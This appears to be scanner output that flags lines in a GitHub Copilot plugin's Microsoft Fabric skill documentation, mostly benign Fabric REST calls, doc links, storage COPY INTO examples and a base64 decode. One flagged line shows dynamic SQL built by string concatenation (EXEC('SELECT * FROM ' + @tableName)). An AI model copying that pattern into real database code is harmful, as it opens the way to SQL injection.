| Source | Module / Doc | When to Read | |---|---|---| | Fetch | [Notebook visualization](https://learn.microsoft.com/en-us/fabric/data-engineering/notebook-visualization) | `display(df)` (rich table view, chart view, multi-chart, summary v - Network accessline 106
| Fetch | [Notebook visualization](https://learn.microsoft.com/en-us/fabric/data-engineering/notebook-visualization) | `display(df)` (rich table view, chart view, multi-chart, summary view), `displayHTML()` (D3.js, custom HTML), `powerbicli - Network accessline 112
| Source | Module / Doc | When to Read | |---|---|---| | Fetch | [Delta optimization and V-Order](https://learn.microsoft.com/en-us/fabric/data-engineering/delta-optimization-and-v-order) | V-Order write optimization, `OPTIMIZE` command, `V - Network accessline 113
|---|---|---| | Fetch | [Delta optimization and V-Order](https://learn.microsoft.com/en-us/fabric/data-engineering/delta-optimization-and-v-order) | V-Order write optimization, `OPTIMIZE` command, `VACUUM`, Z-Order, Optimize Write (`spark.m - Network accessline 114
| Fetch | [Delta optimization and V-Order](https://learn.microsoft.com/en-us/fabric/data-engineering/delta-optimization-and-v-order) | V-Order write optimization, `OPTIMIZE` command, `VACUUM`, Z-Order, Optimize Write (`spark.microsoft.delta - Network accessline 115
| Fetch | [Table compaction](https://learn.microsoft.com/en-us/fabric/data-engineering/table-compaction) | bin compaction, small file problem diagnosis, compaction patterns, `OPTIMIZE WHERE` | - Network accessline 116
| Fetch | [Tune file size](https://learn.microsoft.com/en-us/fabric/data-engineering/tune-file-size) | `spark.microsoft.delta.targetFileSize`, partitioned table tuning, write performance vs read performance trade-offs | - Network accessline 117
| Fetch | [Resource profiles](https://learn.microsoft.com/en-us/fabric/data-engineering/configure-resource-profile-configurations) | `writeHeavy`, `readHeavyForPBI`, `readHeavyForSpark`, custom profile config, when to apply which profile | - Network accessline 121
| Source | Module / Doc | When to Read | |---|---|---| | Fetch | [Apache Spark Runtimes](https://learn.microsoft.com/en-us/fabric/data-engineering/runtime) | runtime versions (1.2 = Spark 3.4, 1.3 = Spark 3.5, 2.0), Python/Java/Scala versio - Network accessline 122
|---|---|---| | Fetch | [Apache Spark Runtimes](https://learn.microsoft.com/en-us/fabric/data-engineering/runtime) | runtime versions (1.2 = Spark 3.4, 1.3 = Spark 3.5, 2.0), Python/Java/Scala versions per runtime, built-in library list | | - Network accessline 123
| Fetch | [Apache Spark Runtimes](https://learn.microsoft.com/en-us/fabric/data-engineering/runtime) | runtime versions (1.2 = Spark 3.4, 1.3 = Spark 3.5, 2.0), Python/Java/Scala versions per runtime, built-in library list | - Network accessline 124
| Fetch | [Native Execution Engine](https://learn.microsoft.com/en-us/fabric/data-engineering/native-execution-engine-overview) | Velox-based execution, performance boost, enable/disable via `spark.native.enabled`, supported operators, fall - Network accessline 125
| Fetch | [High Concurrency mode](https://learn.microsoft.com/en-us/fabric/data-engineering/configure-high-concurrency-session-notebooks) | share Spark session across notebooks, session isolation, conditions for sharing, pipeline high concu - Network accessline 126
| Fetch | [Environment compute](https://learn.microsoft.com/en-us/fabric/data-engineering/environment-manage-compute) | node size (Small/Medium/Large/XL/XXL), driver/executor core and memory config, Spark properties in Environment artifact - Network accessline 127
| Fetch | [Spark best practices](https://learn.microsoft.com/en-us/fabric/data-engineering/spark-best-practices-development-monitoring) | development patterns, runtime selection, High Concurrency tips, monitoring and diagnostics, MLV organi - Network accessline 132
|---|---|---| | Local | [ml-workflow.md](notebook-authoring/ml-workflow.md) | MLflow experiment setup, `mlflow.set_experiment`, autologging, model registration, SynapseML, LightGBM, PREDICT function, batch scoring, MLFlowTransformer, scikit - Network accessline 133
| Local | [ml-workflow.md](notebook-authoring/ml-workflow.md) | MLflow experiment setup, `mlflow.set_experiment`, autologging, model registration, SynapseML, LightGBM, PREDICT function, batch scoring, MLFlowTransformer, scikit-learn, PyTorc - Network accessline 134
| Fetch | [MLflow autologging](https://learn.microsoft.com/en-us/fabric/data-science/mlflow-autologging) | autolog configuration, disable autologging, custom metric logging | - Network accessline 135
| Fetch | [ML experiments](https://learn.microsoft.com/en-us/fabric/data-science/machine-learning-experiment) | create experiment, compare runs, search runs, track training iterations | - Network accessline 136
| Fetch | [ML models](https://learn.microsoft.com/en-us/fabric/data-science/machine-learning-model) | register model, version model, model registry, model lineage | - Network accessline 137
| Fetch | [Model training overview](https://learn.microsoft.com/en-us/fabric/data-science/model-training-overview) | SparkML, SynapseML, scikit-learn, PyTorch, XGBoost — framework comparison and selection | - Network accessline 138
| Fetch | [PREDICT function](https://learn.microsoft.com/en-us/fabric/data-science/model-scoring-predict) | batch scoring with MLFlowTransformer, Spark SQL `PREDICT`, UDF-based scoring | - Network accessline 143
|---|---|---| | Local | [troubleshooting.md](notebook-authoring/troubleshooting.md) | error diagnosis, `sparkdriver.log`, `sparkexecutor.log`, notebookutils log, blobfuse log, Python logging configuration, common error patterns | | Fetch | - Network accessline 144
| Local | [troubleshooting.md](notebook-authoring/troubleshooting.md) | error diagnosis, `sparkdriver.log`, `sparkexecutor.log`, notebookutils log, blobfuse log, Python logging configuration, common error patterns | | Fetch | [notebookutils - Network accessline 145
| Fetch | [notebookutils.udf](https://learn.microsoft.com/en-us/fabric/data-engineering/notebookutils/notebookutils-user-data-function) | `getFunctions()` (retrieve UDF item functions), invoke functions with positional/named params, `itemDe - Network accessline 146
| Fetch | [T-SQL notebooks](https://learn.microsoft.com/en-us/fabric/data-engineering/author-tsql-notebook) | T-SQL cells, set primary warehouse, cross-warehouse three-part naming queries, limitations (no parameter cell, no SPN support) | - Network accessline 147
| Fetch | [NotebookUtils overview](https://learn.microsoft.com/en-us/fabric/data-engineering/notebook-utilities) | full module list, general `notebookutils.help()`, getting started with NotebookUtils | - Network accessline 148
| Fetch | [MSSparkUtils (legacy)](https://learn.microsoft.com/en-us/fabric/data-engineering/microsoft-spark-utilities) | `mssparkutils` backward compatibility reference — **deprecated, use `notebookutils` instead** |
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/common/SQLDB-AUTHORING-CORE.md
- Network accessline 59
**Summary**: SQL Database offers most of the Azure SQL Database T-SQL surface (OLTP-optimized, row-store, enforced constraints, triggers, temporal tables, vectors, IQP, external tables, AI functions — see [limitations](https://learn.microso - Network accessline 71
POST https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/items - Network accessline 97
POST https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/sqlDatabases - Network accessline 127
GET https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/sqlDatabases/restorableDeletedDatabases - Network accessline 135
POST https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/sqlDatabases - Network accessline 723
POST https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/items - Network accessline 789
Replication of a Fabric SQL database to its SQL analytics endpoint (OneLake Delta tables) is **automatic and managed by the platform** — there is no start/stop mirroring REST operation on the SQLDatabase item. The [SQLDatabase Items REST su - Network accessline 791
> **Sources**: [Mirroring limitations](https://learn.microsoft.com/en-us/fabric/database/sql/mirroring-limitations), [SQL database limitations](https://learn.microsoft.com/en-us/fabric/database/sql/limitations). - Network accessline 797
> **Sources**: [SQL database limitations](https://learn.microsoft.com/en-us/fabric/database/sql/limitations), [Mirroring limitations](https://learn.microsoft.com/en-us/fabric/database/sql/mirroring-limitations). - Dangerous shell operationline 978
EXEC('SELECT * FROM ' + @tableName); - Network accessline 1032
> **REST API reference**: [SQL Audit Settings API](https://learn.microsoft.com/en-us/rest/api/fabric/sqldatabase/sql-audit-settings) - Network accessline 1039
GET https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/sqlDatabases/{sqlDatabaseId}/settings/sqlAudit - Network accessline 1047
PATCH https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/sqlDatabases/{sqlDatabaseId}/settings/sqlAudit - Network accessline 1074
> **REST API reference**: [Revalidate CMK](https://learn.microsoft.com/en-us/rest/api/fabric/sqldatabase/items/revalidate-cmk) - Network accessline 1079
POST https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/sqlDatabases/{sqlDatabaseId}/revalidateCMK
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/common/SQLDB-CONSUMPTION-CORE.md
- Network accessline 40
| **Supported identities** | Users, service principals, Entra groups | Users, service principals, Entra groups | | **Encryption** | Required (TDS 8.0) | Required | | **Token audience** | `https://database.windows.net/.default` | `https://da - Network accessline 41
| **Encryption** | Required (TDS 8.0) | Required | | **Token audience** | `https://database.windows.net/.default` | `https://database.windows.net/.default` | | **Collation** | `SQL_Latin1_General_CP1_CI_AS` (case-insensitive) | Workspace de - Network accessline 42
| **Token audience** | `https://database.windows.net/.default` | `https://database.windows.net/.default` | - Network accessline 58
SQL database in Fabric uses the **Azure SQL Database engine**, so it supports most of the Azure SQL T-SQL surface (see [limitations](https://learn.microsoft.com/en-us/fabric/database/sql/limitations) for exceptions). Key areas for consumpti
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/common/SQLDW-AUTHORING-CORE.md
- Network accessline 67
AS SELECT * FROM OPENROWSET( BULK 'https://storage.dfs.core.windows.net/container/data.parquet' - Network accessline 67
AS SELECT * FROM OPENROWSET( BULK 'https://storage.dfs.core.windows.net/container/data.parquet' - Network accessline 68
SELECT * FROM OPENROWSET( BULK 'https://storage.dfs.core.windows.net/container/data.parquet' ) AS data; - Network accessline 68
SELECT * FROM OPENROWSET( BULK 'https://storage.dfs.core.windows.net/container/data.parquet' ) AS data; - Network accessline 69
BULK 'https://storage.dfs.core.windows.net/container/data.parquet' - Network accessline 69
BULK 'https://storage.dfs.core.windows.net/container/data.parquet' - Network accessline 287
-- Parquet (auto-schema inference) COPY INTO dbo.FactSales FROM 'https://storageaccount.dfs.core.windows.net/container/sales/*.parquet' - Network accessline 287
-- Parquet (auto-schema inference) COPY INTO dbo.FactSales FROM 'https://storageaccount.dfs.core.windows.net/container/sales/*.parquet' - Network accessline 288
COPY INTO dbo.FactSales FROM 'https://storageaccount.dfs.core.windows.net/container/sales/*.parquet' WITH (FILE_TYPE = 'PARQUET'); - Network accessline 288
COPY INTO dbo.FactSales FROM 'https://storageaccount.dfs.core.windows.net/container/sales/*.parquet' WITH (FILE_TYPE = 'PARQUET'); - Network accessline 289
FROM 'https://storageaccount.dfs.core.windows.net/container/sales/*.parquet' - Network accessline 289
FROM 'https://storageaccount.dfs.core.windows.net/container/sales/*.parquet' - Network accessline 292
-- CSV with options COPY INTO dbo.FactSales FROM 'https://storageaccount.dfs.core.windows.net/container/sales/*.csv' - Network accessline 292
-- CSV with options COPY INTO dbo.FactSales FROM 'https://storageaccount.dfs.core.windows.net/container/sales/*.csv' - Network accessline 293
COPY INTO dbo.FactSales FROM 'https://storageaccount.dfs.core.windows.net/container/sales/*.csv' WITH ( - Network accessline 293
COPY INTO dbo.FactSales FROM 'https://storageaccount.dfs.core.windows.net/container/sales/*.csv' WITH ( - Network accessline 294
FROM 'https://storageaccount.dfs.core.windows.net/container/sales/*.csv' - Network accessline 294
FROM 'https://storageaccount.dfs.core.windows.net/container/sales/*.csv' - Network accessline 300
-- Auto table creation (table need not exist) COPY INTO dbo.NewTable FROM 'https://storageaccount.dfs.core.windows.net/container/data.parquet' - Network accessline 300
-- Auto table creation (table need not exist) COPY INTO dbo.NewTable FROM 'https://storageaccount.dfs.core.windows.net/container/data.parquet' - Network accessline 301
COPY INTO dbo.NewTable FROM 'https://storageaccount.dfs.core.windows.net/container/data.parquet' WITH (FILE_TYPE = 'PARQUET', AUTO_CREATE_TABLE = 'TRUE'); - Network accessline 301
COPY INTO dbo.NewTable FROM 'https://storageaccount.dfs.core.windows.net/container/data.parquet' WITH (FILE_TYPE = 'PARQUET', AUTO_CREATE_TABLE = 'TRUE'); - Network accessline 302
FROM 'https://storageaccount.dfs.core.windows.net/container/data.parquet' - Network accessline 302
FROM 'https://storageaccount.dfs.core.windows.net/container/data.parquet' - Network accessline 323
BULK 'https://storage.dfs.core.windows.net/container/data.parquet' - Network accessline 323
BULK 'https://storage.dfs.core.windows.net/container/data.parquet' - Network accessline 330
CAST(sale_date AS date) AS SaleDate FROM OPENROWSET( BULK 'https://storage.dfs.core.windows.net/container/raw/*.parquet' - Network accessline 330
CAST(sale_date AS date) AS SaleDate FROM OPENROWSET( BULK 'https://storage.dfs.core.windows.net/container/raw/*.parquet' - Network accessline 331
FROM OPENROWSET( BULK 'https://storage.dfs.core.windows.net/container/raw/*.parquet' ) AS raw - Network accessline 331
FROM OPENROWSET( BULK 'https://storage.dfs.core.windows.net/container/raw/*.parquet' ) AS raw - Network accessline 332
BULK 'https://storage.dfs.core.windows.net/container/raw/*.parquet' - Network accessline 332
BULK 'https://storage.dfs.core.windows.net/container/raw/*.parquet' - Network accessline 338
BULK 'https://storage.dfs.core.windows.net/container/data.csv', - Network accessline 338
BULK 'https://storage.dfs.core.windows.net/container/data.csv', - Network accessline 346
BULK 'https://storage.dfs.core.windows.net/container/year=*/month=*/*.parquet' - Network accessline 346
BULK 'https://storage.dfs.core.windows.net/container/year=*/month=*/*.parquet'
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/common/SQLDW-CONSUMPTION-CORE.md
- Network accessline 48
| **Authentication** | Microsoft Entra ID only (no SQL auth) | | **Encryption** | Required (`Encrypt=Yes`) | | **Token audience** | `https://database.windows.net/.default` | - Network accessline 50
| **Token audience** | `https://database.windows.net/.default` | - Network accessline 702
POST https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/sqlEndpoints/{sqlEndpointId}/refreshMetadata
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/common/notebook-authoring/connections.md
- Network accessline 22
[Credential-related source omitted] - Network accessline 23
[Credential-related source omitted] - Network accessline 32
[Credential-related source omitted] - Network accessline 34
[Credential-related source omitted] - Network accessline 42
**Documentation**: [Credentials utilities](https://learn.microsoft.com/en-us/fabric/data-engineering/notebookutils/notebookutils-credentials) - Network accessline 82
from azure.storage.blob import BlobServiceClient cred = notebookutils.connections.getCredential("{connectionId}") client = BlobServiceClient(account_url="https://{accountName}.blob.core.windows.net", credential=cred["key"]) - Network accessline 84
client = BlobServiceClient(account_url="https://{accountName}.blob.core.windows.net", credential=cred["key"])
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/common/notebook-authoring/context-and-params.md
- Network accessline 44
**Documentation**: [Runtime context](https://learn.microsoft.com/en-us/fabric/data-engineering/notebookutils/notebookutils-runtime) - Network accessline 113
**Documentation**: [Variable library utilities](https://learn.microsoft.com/en-us/fabric/data-engineering/notebookutils/notebookutils-variable-library)
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/common/notebook-authoring/lakehouse-paths.md
- Network accessline 107
**Additional Reference:** [Load data in lakehouse](https://learn.microsoft.com/en-us/fabric/data-engineering/lakehouse-notebook-load-data)
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/common/notebook-authoring/library-mgmt.md
- Network accessline 5
> **Public documentation — fetch for detailed guidance:** > - [Manage Apache Spark libraries in Fabric](https://learn.microsoft.com/en-us/fabric/data-engineering/library-management) — best practices, supported library types, inline install - Network accessline 6
> - [Manage Apache Spark libraries in Fabric](https://learn.microsoft.com/en-us/fabric/data-engineering/library-management) — best practices, supported library types, inline install (%pip/%conda), pipeline considerations - Network accessline 7
> - [Manage libraries in Fabric environments](https://learn.microsoft.com/en-us/fabric/data-engineering/environment-manage-library) — built-in libraries, external repositories (PyPI/Conda/Maven/private), custom libraries (.whl/.jar/.tar.gz) - Network accessline 8
> - [Environment public APIs](https://learn.microsoft.com/en-us/fabric/data-engineering/environment-public-api) — REST API for environment CRUD, list/upload/delete libraries, publish operations - Network accessline 14
Each Fabric Spark runtime ships with pre-installed Python libraries. The authoritative, version-pinned lists are maintained in the [microsoft/synapse-spark-runtime](https://github.com/microsoft/synapse-spark-runtime/tree/main/Fabric) GitHub - Network accessline 18
| Runtime | Spark | Python | Java | Scala | Delta Lake | OS | YAML File | |---|---|---|---|---|---|---|---| | 1.2 | 3.4.3 | 3.10 | 11 | 2.12.17 | 2.4 | Mariner 2.0 | [`Fabric-Python310-CPU.yml`](https://github.com/microsoft/synapse-spark-ru - Network accessline 19
|---|---|---|---|---|---|---|---| | 1.2 | 3.4.3 | 3.10 | 11 | 2.12.17 | 2.4 | Mariner 2.0 | [`Fabric-Python310-CPU.yml`](https://github.com/microsoft/synapse-spark-runtime/blob/main/Fabric/Runtime%201.2%20(Spark%203.4)/Fabric-Python310-CPU. - Network accessline 20
| 1.2 | 3.4.3 | 3.10 | 11 | 2.12.17 | 2.4 | Mariner 2.0 | [`Fabric-Python310-CPU.yml`](https://github.com/microsoft/synapse-spark-runtime/blob/main/Fabric/Runtime%201.2%20(Spark%203.4)/Fabric-Python310-CPU.yml) | - Network accessline 21
| 1.3 | 3.5.5 | 3.11 | 11 | 2.12.18 | 3.2 | Mariner 2.0 | [`Fabric-Python311-CPU.yml`](https://github.com/microsoft/synapse-spark-runtime/blob/main/Fabric/Runtime%201.3%20(Spark%203.5)/Fabric-Python311-CPU.yml) | - Network accessline 22
| 2.0 | 4.0.1 | 3.12 | 21 | 2.13.16 | 4.0 | Azure Linux 3.0 | [`Fabric-Python313-CPU.yml`](https://github.com/microsoft/synapse-spark-runtime/blob/main/Fabric/Runtime%202.0%20(Spark%204.0)/Fabric-Python313-CPU.yml) | - Network accessline 24
> All files are in [`microsoft/synapse-spark-runtime`](https://github.com/microsoft/synapse-spark-runtime/tree/main/Fabric). Version details from `Components.json` in each runtime folder.
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/common/notebook-authoring/ml-workflow.md
- Network accessline 14
| Topic | Documentation | When to Fetch | |---|---|---| | Data Science overview | [Data Science in Fabric](https://learn.microsoft.com/en-us/fabric/data-science/data-science-overview) | full ML lifecycle overview, capabilities, semantic lin - Network accessline 15
|---|---|---| | Data Science overview | [Data Science in Fabric](https://learn.microsoft.com/en-us/fabric/data-science/data-science-overview) | full ML lifecycle overview, capabilities, semantic link | | Model training overview | [Train ML - Network accessline 16
| Data Science overview | [Data Science in Fabric](https://learn.microsoft.com/en-us/fabric/data-science/data-science-overview) | full ML lifecycle overview, capabilities, semantic link | - Network accessline 17
| Model training overview | [Train ML models](https://learn.microsoft.com/en-us/fabric/data-science/model-training-overview) | SparkML vs SynapseML vs popular libraries, framework comparison | - Network accessline 18
| MLflow autologging | [Autologging in Fabric](https://learn.microsoft.com/en-us/fabric/data-science/mlflow-autologging) | autolog default config, `exclusive=False` for custom logging, disable per-session or workspace-wide | - Network accessline 19
| ML experiments | [ML experiments](https://learn.microsoft.com/en-us/fabric/data-science/machine-learning-experiment) | `set_experiment`, `start_run`, `search_runs`, compare runs, tags, inline widget | - Network accessline 20
| ML models | [ML models](https://learn.microsoft.com/en-us/fabric/data-science/machine-learning-model) | `register_model`, model versioning, compare versions, apply models | - Network accessline 21
| MLflow upgrade | [Upgrade ML tracking](https://learn.microsoft.com/en-us/fabric/data-science/mlflow-upgrade) | upgrading workspace ML tracking experience | - Network accessline 22
| Cross-workspace logging | [Cross-workspace MLflow](https://learn.microsoft.com/en-us/fabric/data-science/machine-learning-cross-workspace-logging) | log models/experiments across workspaces | - Network accessline 26
| Topic | Documentation | When to Fetch | |---|---|---| | Train with scikit-learn | [sklearn + MLflow](https://learn.microsoft.com/en-us/fabric/data-science/train-models-scikit-learn) | LogisticRegression, `log_model`, `register_model`, inf - Network accessline 27
|---|---|---| | Train with scikit-learn | [sklearn + MLflow](https://learn.microsoft.com/en-us/fabric/data-science/train-models-scikit-learn) | LogisticRegression, `log_model`, `register_model`, inference with `MLFlowTransformer` | | Train - Network accessline 28
| Train with scikit-learn | [sklearn + MLflow](https://learn.microsoft.com/en-us/fabric/data-science/train-models-scikit-learn) | LogisticRegression, `log_model`, `register_model`, inference with `MLFlowTransformer` | - Network accessline 29
| Train with PyTorch | [PyTorch + MLflow](https://learn.microsoft.com/en-us/fabric/data-science/train-models-pytorch) | CNN training, `mlflow.pytorch.log_model`, load & evaluate | - Network accessline 30
| Train with SparkML | [SparkML tutorial](https://learn.microsoft.com/en-us/fabric/data-science/fabric-sparkml-tutorial) | SparkML pipeline, VectorAssembler, ML pipeline stages | - Network accessline 31
| AutoML with FLAML | [AutoML in Fabric](https://learn.microsoft.com/en-us/fabric/data-science/how-to-use-automated-machine-learning-fabric) | `flaml.AutoML`, Spark parallelization, `to_pandas_on_spark`, time budget | - Network accessline 32
| Low-code AutoML UI | [Low-code AutoML](https://learn.microsoft.com/en-us/fabric/data-science/low-code-automl) | code-free AutoML via UI widget | - Network accessline 36
| Topic | Documentation | When to Fetch | |---|---|---| | SynapseML overview | [SynapseML site](https://microsoft.github.io/SynapseML/) | installation, Spark integration, language support | - Network accessline 37
|---|---|---| | SynapseML overview | [SynapseML site](https://microsoft.github.io/SynapseML/) | installation, Spark integration, language support | | LightGBM models | [LightGBM + SynapseML](https://learn.microsoft.com/en-us/fabric/data-sci - Network accessline 38
| SynapseML overview | [SynapseML site](https://microsoft.github.io/SynapseML/) | installation, Spark integration, language support | - Network accessline 39
| LightGBM models | [LightGBM + SynapseML](https://learn.microsoft.com/en-us/fabric/data-science/how-to-use-lightgbm-with-synapseml) | `LightGBMClassifier`, `LightGBMRegressor`, `LightGBMRanker`, feature importance | - Network accessline 40
| First model with SynapseML | [Build a model](https://learn.microsoft.com/en-us/fabric/data-science/synapseml-first-model) | text featurization pipeline, prebuilt models | - Network accessline 41
| Foundry Tools + SynapseML | [Foundry Tools BYOK](https://learn.microsoft.com/en-us/fabric/data-science/ai-services/ai-services-in-synapseml-bring-your-own-key) | vision, speech, language, translation, anomaly detection via SynapseML trans - Network accessline 42
| OpenAI + SynapseML | [Azure OpenAI at scale](https://learn.microsoft.com/en-us/fabric/data-science/open-ai) | distributed LLM prompting with `OpenAICompletion` | - Network accessline 46
| Topic | Documentation | When to Fetch | |---|---|---| | PREDICT function | [PREDICT scoring](https://learn.microsoft.com/en-us/fabric/data-science/model-scoring-predict) | `MLFlowTransformer` (Transformer API), Spark SQL `PREDICT()`, PySp - Network accessline 47
|---|---|---| | PREDICT function | [PREDICT scoring](https://learn.microsoft.com/en-us/fabric/data-science/model-scoring-predict) | `MLFlowTransformer` (Transformer API), Spark SQL `PREDICT()`, PySpark UDF, supported flavors | | Model endpo - Network accessline 48
| PREDICT function | [PREDICT scoring](https://learn.microsoft.com/en-us/fabric/data-science/model-scoring-predict) | `MLFlowTransformer` (Transformer API), Spark SQL `PREDICT()`, PySpark UDF, supported flavors | - Network accessline 49
| Model endpoints | [Real-time endpoints](https://learn.microsoft.com/en-us/fabric/data-science/model-endpoints) | activate/deactivate endpoints, auto-sleep, consumption rate, REST API | - Network accessline 53
| Topic | Documentation | When to Fetch | |---|---|---| | Bank churn prediction | [Churn tutorial](https://learn.microsoft.com/en-us/fabric/data-science/customer-churn) | RandomForest + LightGBM, autolog, PREDICT | - Network accessline 54
|---|---|---| | Bank churn prediction | [Churn tutorial](https://learn.microsoft.com/en-us/fabric/data-science/customer-churn) | RandomForest + LightGBM, autolog, PREDICT | | Fraud detection | [Fraud detection](https://learn.microsoft.com/e - Network accessline 55
| Bank churn prediction | [Churn tutorial](https://learn.microsoft.com/en-us/fabric/data-science/customer-churn) | RandomForest + LightGBM, autolog, PREDICT | - Network accessline 56
| Fraud detection | [Fraud detection](https://learn.microsoft.com/en-us/fabric/data-science/fraud-detection) | SMOTE, LightGBM, model registration, batch scoring | - Network accessline 57
| Machine fault detection | [Predictive maintenance](https://learn.microsoft.com/en-us/fabric/data-science/predictive-maintenance) | RF + LogReg + XGBoost, MLflow model comparison | - Network accessline 58
| Sales forecasting | [Sales forecasting](https://learn.microsoft.com/en-us/fabric/data-science/sales-forecasting) | time-series, Prophet, autolog | - Network accessline 59
| Text classification | [Text classification](https://learn.microsoft.com/en-us/fabric/data-science/title-genre-classification) | Word2Vec, cross-validation, Spark ML pipeline |
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/common/notebook-authoring/notebook-resources.md
- Network accessline 76
**Documentation**: [Notebook resources](https://learn.microsoft.com/en-us/fabric/data-engineering/how-to-use-notebook#notebook-resources)
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/common/notebook-authoring/troubleshooting.md
- Network accessline 5
> **Public documentation (for user reference, not agent-actionable):** > - [Python logging in notebooks](https://learn.microsoft.com/en-us/fabric/data-engineering/author-execute-notebook#python-logging-in-a-notebook) — `logging.getLogger`, - Network accessline 6
> - [Python logging in notebooks](https://learn.microsoft.com/en-us/fabric/data-engineering/author-execute-notebook#python-logging-in-a-notebook) — `logging.getLogger`, log levels, custom formatters
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/activator-cli/SKILL.md
- Network accessline 79
- Select exactly one mode from the table above before doing anything else. - Read `references/<mode>.md` end to end, as your FIRST tool call, before the first command of that mode. A reply that only asks a clarifying question, and issues no - Network accessline 80
- Read `references/<mode>.md` end to end, as your FIRST tool call, before the first command of that mode. A reply that only asks a clarifying question, and issues no Fabric call, does not need it yet. - Pass `--resource https://api.fabric.m - Network accessline 81
- Pass `--resource https://api.fabric.microsoft.com` on every `az rest` call — without it the token audience is wrong and the call returns 401.
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/activator-cli/references/authoring.md
- Network accessline 13
| Long-Running Operations (LRO) | [COMMON-CORE.md § Long-Running Operations (LRO)](../../../common/COMMON-CORE.md#long-running-operations-lro) | Create, getDefinition, updateDefinition may return 202 | | Fabric Item Definitions | [ITEM-DEFI - Network accessline 14
| Fabric Item Definitions | [ITEM-DEFINITIONS-CORE.md § Definition Envelope](../../../common/ITEM-DEFINITIONS-CORE.md#definition-envelope) | Base64-encoded parts structure | | Fabric Control-Plane API via `az rest` | [COMMON-CLI.md § Fabric - Network accessline 15
| Fabric Control-Plane API via `az rest` | [COMMON-CLI.md § Fabric Control-Plane API via az rest](../../../common/COMMON-CLI.md#fabric-control-plane-api-via-az-rest) | **Always pass `--resource https://api.fabric.microsoft.com`** | - Network accessline 49
with open('update-body.json', 'w', encoding='utf-8') as f: f.write(body) # Then: az rest --method POST --url "...updateDefinition" --resource "https://api.fabric.microsoft.com" --body @update-body.json - Network accessline 51
# Then: az rest --method POST --url "...updateDefinition" --resource "https://api.fabric.microsoft.com" --body @update-body.json - Possible obfuscationline 57
entities = json.loads(base64.b64decode(part['payload']).decode('utf-8')) - Network accessline 94
DEFINITION=$(fabric_lro POST \ "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/reflexes/${REFLEX_ID}/getDefinition" \ - Network accessline 95
"https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/reflexes/${REFLEX_ID}/getDefinition" \ - Network accessline 283
- **Confirm a real source before authoring** -- follow the [Source Validation Gate](#source-validation-gate): resolve the source in the requested workspace, validate the requested signal column/field, and observe at least one representative - Network accessline 284
- **Always use `--resource https://api.fabric.microsoft.com`** with `az rest` — without it, token audience is wrong
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/activator-cli/references/authoring/powerbi-source.md
- Network accessline 165
az rest --method POST \ --url "https://api.fabric.microsoft.com/v1/workspaces/${REPORT_WS_ID}/reports/${REPORT_ID}/getDefinition" \ - Network accessline 166
--url "https://api.fabric.microsoft.com/v1/workspaces/${REPORT_WS_ID}/reports/${REPORT_ID}/getDefinition" \ - Network accessline 167
--resource "https://api.fabric.microsoft.com" \ - Network accessline 175
az rest --method POST \ --url "https://api.fabric.microsoft.com/v1/workspaces/${MODEL_WS_ID}/semanticModels/${DATASET_ID}/getDefinition" \ - Network accessline 176
--url "https://api.fabric.microsoft.com/v1/workspaces/${MODEL_WS_ID}/semanticModels/${DATASET_ID}/getDefinition" \ - Network accessline 177
--resource "https://api.fabric.microsoft.com" \
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/activator-cli/references/consumption.md
- Network accessline 15
| Fabric Item Definitions | [ITEM-DEFINITIONS-CORE.md § Definition Envelope](../../../common/ITEM-DEFINITIONS-CORE.md#definition-envelope) | Base64 payload structure | | Authentication Recipes | [COMMON-CLI.md § Authentication Recipes](../. - Network accessline 16
| Authentication Recipes | [COMMON-CLI.md § Authentication Recipes](../../../common/COMMON-CLI.md#authentication-recipes) | `az login` flows | | Fabric Control-Plane API via `az rest` | [COMMON-CLI.md § Fabric Control-Plane API via az rest] - Network accessline 17
| Fabric Control-Plane API via `az rest` | [COMMON-CLI.md § Fabric Control-Plane API via az rest](../../../common/COMMON-CLI.md#fabric-control-plane-api-via-az-rest) | **Always pass `--resource https://api.fabric.microsoft.com`** | - Network accessline 52
az rest --method GET \ --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/reflexes" \ - Network accessline 53
--url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/reflexes" \ - Network accessline 54
--resource "https://api.fabric.microsoft.com" \ - Network accessline 65
NEXT_URL="https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/reflexes" - Network accessline 67
RESPONSE=$(az rest --method GET --url "$NEXT_URL" --resource "https://api.fabric.microsoft.com") - Network accessline 69
--resource "https://api.fabric.microsoft.com") - Network accessline 78
az rest --method GET \ --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/reflexes?recursive=true&rootFolderId=${FOLDER_ID}" \ - Network accessline 79
--url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/reflexes?recursive=true&rootFolderId=${FOLDER_ID}" \ - Network accessline 80
--resource "https://api.fabric.microsoft.com" \ - Network accessline 89
